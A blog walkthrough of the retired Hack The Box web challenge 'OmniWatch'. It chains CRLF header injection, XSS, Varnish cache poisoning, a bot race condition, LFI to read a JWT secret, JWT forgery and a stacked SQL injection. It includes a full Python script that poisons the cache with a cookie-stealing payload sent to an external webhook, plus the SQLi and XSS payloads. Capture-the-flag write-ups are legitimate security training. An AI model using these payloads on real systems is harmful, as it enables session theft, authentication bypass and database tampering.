Skip to main content

Command Palette

Search for a command to run...

OmniWatch

(Hard Web Challenge)

Updated
9 min read
OmniWatch

OVERVIEW


So we have given Some Files To Download and Instance . So Let’s start the instance and also view the source code or the data we are given

So In the website we can see there is a authentication/login feature

So Since we don’t have Username and Password So let’s check the files we had downloaded

Overview Of The Downloaded Files

We have a web app consisting of 2 services, one written in Zig using the http.zig framework and one written in Python using the Flask framework.

They both sit behind a varnish cache, and a MySQL database is used for storing data. The oracle service is used for fetching location by providing the id of a device.

The controller service requires authentication and is used to browse tracking device data as well as browsing firmware updates.

CRLF injection in http.zig

Let's have a closer look on the oracle function of the main.zig service

fn oracle(req: *httpz.Request, res: *httpz.Response) !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    const deviceId = req.param("deviceId").?;
    const mode = req.param("mode").?;
    const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
    const decodedMode = try std.Uri.unescapeString(allocator, mode);

    const latitude = try randomCoordinates();
    const longtitude = try randomCoordinates();

    res.header("X-Content-Type-Options", "nosniff");
    res.header("X-XSS-Protection", "1; mode=block");
    res.header("DeviceId", decodedDeviceId);

    if (std.mem.eql(u8, decodedMode, "json")) {
        try res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } else {
        const htmlTemplate =
            \\<!DOCTYPE html>
            \\<html>
            \\    <head>
            \\        <title>Device Oracle API v2.6</title>
            \\    </head>
            \\<body>
            \\    <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p>
            \\</body>
            \\</html>
        ;

        res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}

The deviceId and mode variables are URL-decoded and stored into two variables (decodedDeviceId, decodedMode).

If decodedMode is equal to json, a JSON response with the random coordinates is returned.

Else an HTML string is created containing decodedMode and the random coordinates. This looks like a possible XSS vector but because the X-Content-Type-Options header is set to nosniff and no Content-Type header is set the browser does not "sniff" the content type or render this response as HTML.

By searching the issues of the http.zig library we find a closed issue explaining a CRLF injection bug. All route parameters are vulnerable to CRLF injection, so we can use this to inject arbitrary headers like the Content-Type header we needed to cause XSS.

Even though this was patched we can deduct that our app since is vulnerable it's using a static version of http.zig without importing it with the help of any package manager, and if we check the signatures of the files at challenge/oracle/modules we will see they match the ones before the patch commits were made on GitHub.

So Let’s Try XSS with the URL encoded payloads on /oracle/

http://94.237.57.1:52049/oracle/%3Cscript%3Ealert%280%29%3C%2Fscript%3E/1%0D%0AContent-Type%3A%20text%2Fhtml

Basically the URL decoded payloads are

/oracle/<script>alert(0)</script>/1\r\nContent-Type: text/html

Got the XSS payload working which means it is a successful CRLF Injection attack

Varnish Cache Poisoning

Great now we can cause XSS, but how can we weaponize that? Let's have a closer look at config/cache.vcl

sub vcl_backend_response {
    if (beresp.http.CacheKey == "enable") {
        set beresp.ttl = 10s;
        set beresp.http.Cache-Control = "public, max-age=10";
    } else {
        set beresp.ttl = 0s;
        set beresp.http.Cache-Control = "public, max-age=0";
    }
 }

At the CacheKey header is checked for the value vcl_backend_response subroutine, which is used to forward the response from the backed to the client, the enabled . If this header is sent from the backend the response is cached for 10 seconds.

 sub vcl_hash {
    hash_data(req.http.CacheKey);
    return (lookup);
 }

The In this instance only the vcl_hash is used to join the components of which varnish creates the hash that identifies clients.
CacheKey header is used for this, we can abuse this to cause cache poisoning since we can inject arbitrary headers.

If we inject the arbitrary Content-Type or X-Content-Type-Options header alongside the enabled header and the XSS payload in the CacheKey = mode parameter varnish will cache the malicious response for 10 seconds, so after this any user visiting that endpoint will receive the cached response, this happens because headers by themselves are not supposed to be used as hash_data

So, we can now cause the cache poisoning + XSS

Race Condition In The Chromium Bot

We can try and use what we found to attack the bot that runs every 0.5 minutes but this does not work. If we poison the cache with the following payload:

<script>fetch("http://my-server.com/exfiltrate?cookies="+document.cookie)</script>

We receive a request with no cookies provided because in bot’s code

client.get("http://127.0.0.1:1337/controller/login")
 time.sleep(3)

 client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"])
 client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"])
 client.execute_script("document.getElementById('login-btn').click()")
 time.sleep(3)

 client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}")
 time.sleep(10)

Here we can see that the bot first visits the login page, waits 3 seconds, logs in using the credentials, waits another 3 seconds and then visits a random device on the oracle service.

So if we poison the cache before the user logs in there are no cookies to steal yet, and because the bot gets our cached response there are no inputs and buttons to interact with so the login step fails completely. We have to time the poisoning of the cache accurately after the login step but not after the bot visits the oracle.

Thankfully there is the /controller/bot_running endpoint which gives us the status of the bot, so we can estimate to poison the cache about 3 seconds after the bot has started.

So use the below script to get the moderator JWT token

import requests
import urllib.parse
import time
import multiprocessing
from flask import Flask, request

# Configuration
CHALLENGE_URL = "http://xx.xx.xx.xx:xxxx"
EXFIL_URL = "YOUR_WEBHOOK_PUBLIC_LINK"  # Webhoook 

def start_server():
    app = Flask(__name__)

    @app.route("/exfiltrate", methods=["GET"])
    def index():
        cookies = request.args.get("cookies", "No cookies received")
        print("Leaked cookies:", cookies)
        # Save cookies to a file for persistence
        with open("exfiltrated_cookies.txt", "a") as f:
            f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {cookies}\n")
        return "ok", 200

    app.run(host=EXFIL_URL, debug=False)

def url_encode(string):
    return urllib.parse.quote(string, safe="")

def check_bot():
    try:
        resp = requests.get(f"{CHALLENGE_URL}/controller/bot_running", timeout=5)
        print(f"Bot check status: {resp.text}")
        return resp.text == "running"
    except requests.RequestException as e:
        print(f"Error checking bot: {e}")
        return False

def poison_cache():
    if not check_bot():
        print("Bot not running, skipping cache poison attempt")
        return False
    time.sleep(3)

    xss = f"<script>fetch('{EXFIL_URL}/exfiltrate?cookies='+document.cookie)</script>"
    encoded_xss = url_encode(xss)
    injected_headers = "\r\nCacheKey: enable\r\nX-Content-Type-Options: undefined"
    encoded_headers = url_encode(injected_headers)

    try:
        final_url = f"{CHALLENGE_URL}/oracle/{encoded_xss}/1{encoded_headers}"
        print(f"Sending request to: {final_url}")
        response = requests.get(final_url, timeout=5)
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text[:500]}")  # Truncate for readability
        return True
    except requests.RequestException as e:
        print(f"Error in poison_cache: {e}")
        return False

def poison_loop():
    while True:
        poison_cache()
        time.sleep(1)

if __name__ == "__main__":
    server = multiprocessing.Process(target=start_server)
    poison = multiprocessing.Process(target=poison_loop)
    server.start()
    poison.start()

In CHALLENGE_URL use the challenge URL given and for webhook link you can go to webhook.site
(Use VPN if your site is not opening)

then run this python code and wait for the bot to poison the cache

Here we go Now go to your webhook.site again to see the request

We got our cookie , Now Copy paste this cookie in the cookies of website and access /controller/admin

We successfully got entered in Admin Dashboard Now Let’s check other things out like Firmware etc

So Navigating to /controller/firmware reveals to us a firmware update page. There are two selections of firmware files we can preview.

On seeing the firmware section in routes.py

@web.route("/firmware", methods=["GET", "POST"])
@moderator_middleware
def firmware():
    if request.method == "GET":
        patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]
        return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable)

    if request.method == "POST":
        patch = request.form.get("patch")

        if not patch:
            return response("Missing parameters"), 400

        file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read()
        return file_data, 200

We notice that the file to preview is provided as a post parameter coming from the front-end. The Python os.path.join method is used to build the absolute path of the file to be read.

This is vulnerable to LFI since removes the first section of the path if the later one is an absolute path

Let’s capture the preview firmware request inside Burpsuite to apply the LFI
(Don’t mind the host IP as Mine Instance got closed so I started it again and got new IP)

So change the patch = /app/jwt_secret.txt we got from challenge/controller/application/util/config.py

And by this we got our jwt_secret by which we could create new jwt token

Now head to online python jwt compiler to make new jwt with the below script

import jwt
payload = {
 "user_id": 1,
 "username": "reapsec", #name of your choice
 "account_type": "administrator"
 }
secret="YOUR_SECRET"  #add your own
print(jwt.encode(payload, secret, algorithm="HS256"))

And you will get your new jwt token

Remember the authentication middleware implements tamper protection so even if we generate a new JWT using the leaked secret we still won't be able to log in.
The only way this can be bypassed is if we could insert our own signature in the database.

SQLi To Insert Arbitrary Signatures

@web.route("/device/<id>", methods=["GET"])
@moderator_middleware
def device(id):
    mysql_interface = MysqlInterface(current_app.config)
    device = mysql_interface.fetch_device(id)

    if not device:
        return redirect("/controller/home")

    return render_template("device.html", user_data=request.user_data, nav_enabled=True, title=f"OmniWatch - Device {device['device_id']}", device=device)

At the /controller/device/<id> route an instance of MysqlInterface is created which then calls the method fetch_device with the provided id as it's parameter.

By having a look at challenge/controller/application/util/database we discover that this query is vulnerable to SQL injection.

Let’s create URL encoded SQLi Payloads to enter in /device/{id}

NOTE: DON’T FORGET TO ADD SPACE AFTER EACH PAYLOAD SUCH THAT YOUR PAYLOAD SHOULD END WITH A SPACE OR %20 IN URL ENCODING

First Let’s check whether multi-statement execution is allowed

1' OR '1'='1'; SELECT SLEEP(3); --

Use CyberChef to URL encode this payload with all special characters and put it after /controller/device/{id}

Since it perfectly executed it means multiline statement is allowed so we can stack an UPDATE after a SELECT

Now take the signature of the new JWT token you created above and convert it into hex using cyberchef again and put 0x in front of it

FOR EXAMPLE: (yours will be different)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6InJlYXBzZWMiLCJhY2NvdW50X3R5cGUiOiJhZG1pbmlzdHJhdG9yIn0.OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4

This is my own jwt token which i created using above script now i am taking its signature (means third part among three parts divided by . )

OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4

Now head to Cyberchef and convert it into hex and put 0x in front of it

So the final signature will be

0x4f616a4637516a767932436d43365675424259785031483959457935315373544756706e4e38476c356534

#ABOVE WAS JUST AN EXAMPLE YOUR VALUES WILL BE DIFFERENT

Now let’s create a final payload to add our signature in the database to bypass the authentication

1' OR '1'='1' LIMIT 1; UPDATE signatures SET signature = YOUR_SIGNATURE WHERE user_id = 1; --

(don’t forget to check the space after the payload and be sure that your URL encoded payload ends with %20 )

URL ENCODE THIS PAYLOAD IN CYBERCHEF

Now put this payload same as before in place of id in /controller/device/id

If it shows no error that means it is added in the database

Now quickly copy your new jwt which you had created from above script and now change it in the cookies of this website and then go to /controller/admin

And we will get the Flag !!

NOTE:

If you don’t see flag check your payload once again and now do it from webhook step again like use that jwt you got in webhook to go to admin dashboard and you already have the secret and custom jwt you created so no need to do that again so just enter the signature payload once again , don’t enter the multiline checking payload this time and then change the jwt in cookies with your custom made and again try accessing /controller/admin and you will get the flag.

WE FINALLY DID IT !!!! CHALLENGE SOLVED !!

FOR FULL DETAILS ABOUT VULNERABILITY AND THE CHALLENGE PLEASE CHECK OUT OFFICIAL WALKTHROUGH OF HACK THE BOX

For Any Query Or Problem Either Leave A Comment Or Contact At reapsec.com

THANKS FOR READING !!!

HTB CHALLENGES

Part 2 of 13

In this series i will provide you HTB Retired challenges Full Walkthrough of various categories. Hope You Will Like It !!

Up next

Fake Boost

(Easy Forensics Challenge)